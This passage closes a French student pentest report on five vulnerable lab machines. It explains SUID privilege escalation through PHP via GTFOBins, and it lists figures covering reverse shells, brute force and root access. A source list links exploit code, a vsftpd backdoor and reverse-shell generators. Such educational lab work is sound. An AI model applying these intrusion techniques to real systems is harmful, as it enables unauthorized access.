-rwsr-xr-x 1 root root 53K Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 63K Jul 27 2018 /usr/bin/passed
-rwsr-xr-x 1 root root 44K Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 83K Jul 27 2018 /usr/bin/gpasswd

Figure 131 : SUID de PHP intéressant pour une escalade de privilèges

Cette dernière indique que PHP peut être utilisé pour effectuer une escalade de privilèges via SUID. Le **SUID** (Set User ID) est un attribut de fichier dans les systèmes Linux qui permet à un utilisateur d'exécuter un fichier avec les privilèges du propriétaire du fichier. Lorsque le bit SUID est défini sur un fichier exécutable, toute personne exécutant ce fichier le fait avec les privilèges de l'utilisateur propriétaire du fichier, plutôt qu'avec les privilèges de l'utilisateur actuel. Par exemple, si un fichier exécutable appartenant à l'utilisateur root a le bit SUID défini, tout utilisateur exécutant ce fichier aura temporairement les privilèges de root pendant l'exécution de ce fichier.

Cela va nous permettre de pouvoir potentiellement obtenir un shell root sur la machine cible. N'ayant jamais initié ce type d'attaque, nous nous renseignons sur les commandes à entrer. Nous retrouvons alors le site <u>GTFOBins</u> qui présente exactement ce que nous recherchons : une élévation de privilèges via SUID avec PHP (voir <u>sources</u>). Nous entrons donc les commandes indiquées :



Figure 132 : Escalade des privilèges

En entrant la commande **whoami**, nous observons que nous avons obtenu l'accès root.

# Gestion de projet

GANTT Project	4	$\mathbf{S}$	décembre 2024			1	janvier 20	25		-			février 20'	25
Nom	Date de	Date de fin	Semaine 49 12/12/024	Semaine 50 09/12/2024	Semaine 51 16/12/2024	Semaine 52 23/12/2024	Semaine 1 30/12/2024	Sema 05.01.0	aine 2 /2025	Semaine 3 13/01/2025	Semaine 4 20.01.2025	Semaine 5 27./01/2025	Serr 03.0	naine 6 20025
Blue (Machine 1)	09/12/2024	10/12/2024		Blue (Machine 1)										
Academy (Machine 2 )	11/12/2024	20/12/2024			Acad	emy (Machine 2 )								
Dev (Machine 3)	11/12/2024	23/12/2024				Dev (Machine 3)								
Butler (Machine 4)	01/01/2025	13/01/2025								Butler (Machine 4)				
Black Pearl (Machine 5)	01/01/2025	10/01/2025							Black	Pearl (Machine 5)				

# Conclusion

Pour conclure, cette SAE nous a permis d'acquérir des connaissances essentielles sur les techniques de base que nous serons amenés à réutiliser si nous devons effectuer un pentest à l'avenir. Elle nous a également appris à rechercher et à identifier les informations nécessaires de manière autonome. De plus, cette SAE nous a permis de trouver de nombreux sites Internet, forums, serveurs Discord et chaînes YouTube dédiés au pentesting où nous avons pu découvrir différentes techniques et astuces.

Il est certain que cette SAE nous a énormément appris, mais elle s'est également révélée très chronophage. Bien que nous disposions de quelques bases vues en cours qui se sont avérées très utiles, la partie la plus longue a été de mener des recherches par nousmêmes pour approfondir nos connaissances. Malgré les nombreuses heures de projet allouées au projet, cela s'est avéré insuffisant compte tenu de notre niveau, et le travail personnel que nous avons dû fournir pour finaliser les 5 machines dans les délais a été considérable.

C'est pour cette raison, comme mentionné dans notre rapport, que nous avons sollicité de nombreuses aides auprès de personnes plus expérimentées, notamment celles ayant déjà réalisé cette SAE l'année précédente. Elles ont pu nous donner de petits indices ou des pistes à explorer, ce qui nous a grandement aidés. Cela nous a permis de surmonter certaines situations particulièrement délicates, après avoir passé des heures à rester bloqués.

# Table des illustrations

## Machine vulnérable 1 : Blue

5
5
6
7
8
8
8
9
9

# Machine vulnérable 2 : Academy

Figure 10 : Adresse IP	10
Figure 11 : Découverte des services	10
Figure 12 : Déplacement du code d'attaque	12
Figure 13 : Choix de l'attaque précédemment importée	12
Figure 14 : Echec de l'attaque	13
Figure 15 : Tentative de connexion à FTP en Anonymous	13
Figure 16 : Téléchargement du fichier disponible sur le serveur FTP	14
Figure 17 : Lectrure du fichier note.txt	14
Figure 18 : Test du hash de mot de passe	15
Figure 19 : Lancement du bruteforce	16
Figure 20 : Succès du bruteforce	17
Figure 21 : Tentative de connexion SSH avec le numéro d'utilisateur	17
Figure 22 : Tentative de connexion SSH avec le nom d'utilisateur	18
Figure 23 : Page par défaut d'Apache	18
Figure 24 : Mode inspection sur la page par défaut	19
Figure 25 : Résultat du scan de Nikto	20
Figure 26 : Tentative de connexion à phpMyAdmin	22
Figure 27 : Exécution de GoBuster	23
Figure 28 : Page de connexion d'une plateforme de cours en ligne	23
Figure 29 : Création de compte réussie	24
Figure 30 : Changement de photo de profil réussi	25
Figure 31 : Reverse Shell généré	26

Figure 32 : Reverse Shell obtenu	27
Figure 33 : Obtention du fichier /etc/passwd	28
Figure 34 : Refus de l'ouverture du fichier /etc/shadow	28
Figure 35 : Droits sur le fichier backup.sh	29
Figure 36 : Lecture du fichier backup.sh	29
Figure 37 : Affichage du répertoire /var/www/html/academy/includes	30
Figure 38 : Affichage du fichier config.php	30
Figure 39 : Connexion à SSH	30
Figure 40 : Reverse Shell	31
Figure 41 : Connexion à la base de données MariaDB	31
Figure 42 : Visualisation de la base de données "OnlineCourse"	32
Figure 43 : Visualisation de la table "user"	33
Figure 44 : Test du type de hash de root	33
Figure 45 : Obtention du mot de passe admin à partir du hash	35
Figure 46 : Tentative de connexion SSH avec utilisateur root	35
Figure 47 : Tentative de connexion SSH avec utilisateur admin	36
Figure 48 : Tentative de connexion à la base de données avec utilisateur root	36
Figure 49 : Tentative de connexion à la base de données avec utilisateur root	36
Figure 50 : Connexion à phpMyAdmin avec l'utilisateur grimmie	37
Figure 51 : Affichage des droits de l'utilisateur grimmie	37
Figure 52 : Réception du script sur la machine cible	38
Figure 53 : Console Kali avec les logs du serveur HTTP	39
Figure 54 : Console distante téléchargeant le fichier	39
Figure 55 : Lancement du script pspy	40
Figure 56 : Exécution du script chaque minute	40
Figure 57 : Obtention de l'accès root sur la machine cible	41

# Machine vulnérable 3 : DEV

Figure 58 : Adresse IP	. 42
Figure 59 : Découverte des services	. 42
Figure 60 : Liste des exploits concernant NFS sur Metasploit	. 43
Figure 61 : Enumération des partages NFS actifs	. 44
Figure 62 : Montage du partage NFS	. 44
Figure 63 : Contenu du partage NFS	. 44
Figure 64 : Mot de passe requis pour dézipper l'archive	. 45
Figure 65 : Obtention du hash de l'archive	. 45
Figure 66 : Brutorforce sur le hash de l'archive	. 45
Figure 67 : Contenu du fichier texte de l'archive	. 46

Figure 68 : Contenu de la clé SSH	46
Figure 69 : Page d'erreur d'installation du service Bolt	47
Figure 70 : Page par défaut de PHP	48
Figure 71 : Scan Nikto de la page web Bolt	.49
Figure 72 : Contenu du fichier config.yml	.49
Figure 73 : Liste des exploits disponibles pour le service Apache 2.4	. 50
Figure 74 : Tentative d'exploit non concluante	. 50
Figure 75 : Scan Nikto de la page web PHP	.51
Figure 76 : Page web stockée dans /dev	.51
Figure 77 : Création d'un utilisateur arbitraire sur le site web	.52
Figure 78 : Exploit permettant d'afficher le contenu de /etc/passwd	53
Figure 79 : Tentative de connexion SSH avec l'utilisateur jeanpaul	54
Figure 80 : Modification des droits d'accès au fichier de la clé privée SSH	54
Figure 81 : Connexion à SSH avec la clé privée SSH et le mot de passe	55
Figure 82 : Contrôle des accès administrateur de jeanpaul	. 55
Figure 83 : Liste des applications pouvant être exécutées en root sans mot de passe	. 55
Figure 84 : Elévation de privilèges depuis l'application zip	. 56

# Machine vulnérable 4 : Butler

Figure 85 : Adresse IP	57
Figure 86 : Découverte des services	57
Figure 87 : Page de connexion de Jenkins	58
Figure 88 : Enumération des fichiers sur le serveur	59
Figure 89 : Payload pour la connexion à Jenkins	60
Figure 90 : Modification de la requête pour bruteforce	60
Figure 91 : Choix des wordlists pour bruteforce	61
Figure 92 : Wordlist utilisée	62
Figure 93 : Valeur Length modifiée	62
Figure 94 : Page d'accueil de Jenkins une fois connecté	63
Figure 95 : Liste des onglets disponibles	63
Figure 96 : Onglet Script Console	64
Figure 97 : Script envoyé sur Jenkins	64
Figure 98 : Reverse Shell sur le serveur Jenkins	65
Figure 99 : Liste de toutes les informations système sur la machine cible	65
Figure 100 : exploit non fonctionnel en raison de la version de Windows	66
Figure 101 : Démarrage de WinPEAS	67
Figure 102 : Résultat de la commande Wmic	69
Figure 103 : Génération du fichier de reverse shell	69

Figure 104 : Déplacement du fichier dans le répertoire adapté	70
Figure 105 : Lancement du reverse shell sur Kali	70
Figure 106 : Arrêt du service Wise	71
Figure 107 : Démarrage du service Wise	71
Figure 108 : Elévation des privilèges	71

# Machine vulnérable 5 : Blackpearl

Figure 109 : Adresse IP	73
Figure 110 : Découverte des services	73
Figure 111 : Page par défaut de nginx	74
Figure 112 : Code de la page par défaut	74
Figure 113 : Scan des répertoires du serveur avec Nikto	75
Figure 114 : Scan des répertoires du serveur avec DirBuster	75
Figure 115 : Fichier "secret" trouvé	76
Figure 116 : Contenu du fichier "secret"	76
Figure 117 : Répertoire /navigate introuvable avec l'adresse IP	77
Figure 118 : Répertoire /navigate introuvable avec le nom de domaine	77
Figure 119 : Recherche inversée avec dnsrecon	77
Figure 120 : Modification du fichier /etrc/hosts	78
Figure 121 : Page par défaut de PHP	78
Figure 122 : Affichage de la page web contenue dans /navigate	79
Figure 123 : Choix d'un exploit pour /navigate	79
Figure 124 : Obtention du reverse shell	80
Figure 125 : Lancement du serveur web sur Kali	80
Figure 126 : Utilisation du vrai shell Linux dans Meterpreter	81
Figure 127 : Téléchargement du script LinPEAS	81
Figure 128 : Modification des droits utilisateur sur le script	81
Figure 129 : Premières lignes de LinPEAS	
Figure 130 : Liste des utilisateurs ayant accès à la console	
Figure 131 : SUID de PHP intéressant pour une escalade de privilèges	
Figure 132 : Escalade des privilèges	

# Sources

## Machine 1

Vulnérabilité MS17\_010 : <u>https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010</u>

CVE de MS17\_010 : https://nvd.nist.gov/vuln/detail/cve-2017-0144

### Machine 2

vsftpd 3.0.3 - Remote Denial of Service: <u>https://www.exploit-</u> <u>db.com/exploits/49719</u>

CVE de VSFTPD 3.0.3 : https://nvd.nist.gov/vuln/detail/CVE-2021-30047

Backdoor vsftpd-3.0.3 : <u>https://github.com/amdorj/vsftpd-3.0.3</u>infected/blob/master/amdorj\_vsftpd\_backdoor.rb

Site de reverse-Shell : <u>https://www.revshells.com/</u>

Reverse-shell PentestMonkey : https://github.com/pentestmonkey/php-reverse-

#### <u>shell</u>

Pspy : <u>https://github.com/DominicBreuker/pspy</u>

### Machine 3

Vulnérabilité de BoltWire : <u>https://www.exploit-db.com/exploits/48411</u>

### Machine 4

Groovy Script reverse shell : <u>https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76</u> CVE-2021-1732 :

- <u>https://github.com/asepsaepdin/CVE-2021-1732?tab=readme-ov-file</u>
- <u>https://raw.githubusercontent.com/UNICORDev/exploit-CVE-2021-3560/main/exploit-CVE-2021-3560.py</u>
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732

Pierre FROSTIN et Matthias DUMAS – BUT2 R&T La Rochelle – 2024-2025 Page **90** sur **91**  <u>https://www.dataprise.com/resources/defense-digest/windows-10-privilege-escalation-vulnerability/</u>

#### WinPEAS :

- <u>https://www.manageengine.com/log-management/cyber-security/privilege-escalation-with-winpeas.html</u>
- <u>https://www.hackingarticles.in/window-privilege-escalation-automated-script/</u>
- https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS

#### Unquoted Service Path :

- <u>https://medium.com/@SumitVerma101/windows-privilege-escalation-part-</u> <u>1-unquoted-service-path-c7a011a8d8ae</u>
- <u>https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths</u>
- <u>https://github.com/nickvourd/Windows-Local-Privilege-Escalation-</u> <u>Cookbook/blob/master/Notes/UnquotedServicePath.md</u>

### Machine 5

LinPEAS : https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

GTFObins SUID PHP : <u>https://gtfobins.github.io/gtfobins/php/</u>